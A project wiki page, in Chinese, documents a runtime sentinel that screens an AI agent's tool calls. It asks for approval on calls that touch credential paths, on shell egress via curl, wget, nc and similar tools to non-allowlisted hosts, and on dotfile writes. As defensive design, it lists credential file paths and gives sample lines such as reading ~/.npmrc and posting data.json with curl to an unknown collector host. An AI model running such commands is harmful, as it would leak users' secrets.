Skip to content

Runtime Sentinel

jkrandom-sudo edited this page Aug 15, 2026 · 1 revision

运行时哨兵

静态审计管"装之前",哨兵管"跑起来之后"。它是挂在宿主工具管线 tools/pre-execute waterfall 上的一个监听器:会话中的每一次工具调用在执行前都会经过它。

决策流程

工具调用进入 pre-execute waterfall
        │
        ▼
哨兵评估(exec.name + exec.arguments)
        │
   命中规则? ─── 否 ──→ next()(委托下游策略,默认放行)
        │ 是
        ▼
  返回 { kind: 'ask', reason }
        │
        ▼
宿主审批服务(ctx.approval 一次性提示)
   批准 → 执行 | 拒绝/无审批通道 → 调用被拒绝

Fail-closed 原则:没有可用审批通道时,命中规则的调用被拒绝,绝不静默放行。未命中规则的调用通过 next() 委托给下游——哨兵不会绕过宿主既有的其他策略。

哨兵只检查工具名与调用参数:不读文件、不读环境变量、不触碰参数之外的会话内容。裁决原因通过 ctx.logger 记录。

三条规则

规则 1:凭证路径(所有工具)

任何工具的参数(JSON 序列化后的全文)引用凭证承载路径即触发:

.ssh · .aws · .gnupg · .git-credentials · .netrc · .npmrc · id_rsa · id_ed25519 · keychain · .docker/config.json

例:read 读 ~/.ssh/id_rsa、bash: cat ~/.npmrc → ask。 与工具名无关——规则 1 对 read、write、bash 一视同仁。

规则 2:shell 外发(shell 工具)

shell 类工具(bash、pwsh、terminal_send;命令文本取自 command/input/text/data 键)的命令包含外发可执行程序——curl、wget、nc、ncat、scp、rsync、sftp、ftp——且目标主机不在 allowedHosts 时触发。

  • 显式 URL 中的主机优先;无 URL 时回退到命令里的类主机 token;
  • 已知文件扩展名的 token(report.json、build.tar.gz、out.log…)不会被当成主机;
  • 匹配语义见 安装与配置 的 allowedHosts 一节(精确 vs *. 后缀,不区分大小写)。

例:curl -d @data.json https://collector.unknown.io/x → ask; curl https://github.com/...(白名单内)→ 放行; curl -o report.json(无目标主机)→ 放行。 非 shell 工具参数里出现网络样文本(如 write 写入含 curl ... 的文档)不触发。

规则 3:家目录 dotfile 写入(写工具)

写类工具(write、edit、str_replace_editor)的目标路径指向家目录 dotfile 时触发:

  • ~/...、$HOME/...、${HOME}/... 前缀;
  • 绝对路径 /Users/<name>/.xxx、/home/<name>/.xxx。

例:write 写 ~/.zshrc → ask。 写凭证路径(如 ~/.ssh/config)由规则 1 先行拦截; 写 ~/projects/notes.md、/tmp/x.txt 等普通路径 → 放行; 该规则只适用于写工具(bash: echo x > ~/.bashrc 由用户自行斟酌,不在此列)。

关闭哨兵

cordis.patch.yml 中设 sentinelEnabled: false,重启 profile。静态审计工具不受影响。

Clone this wiki locally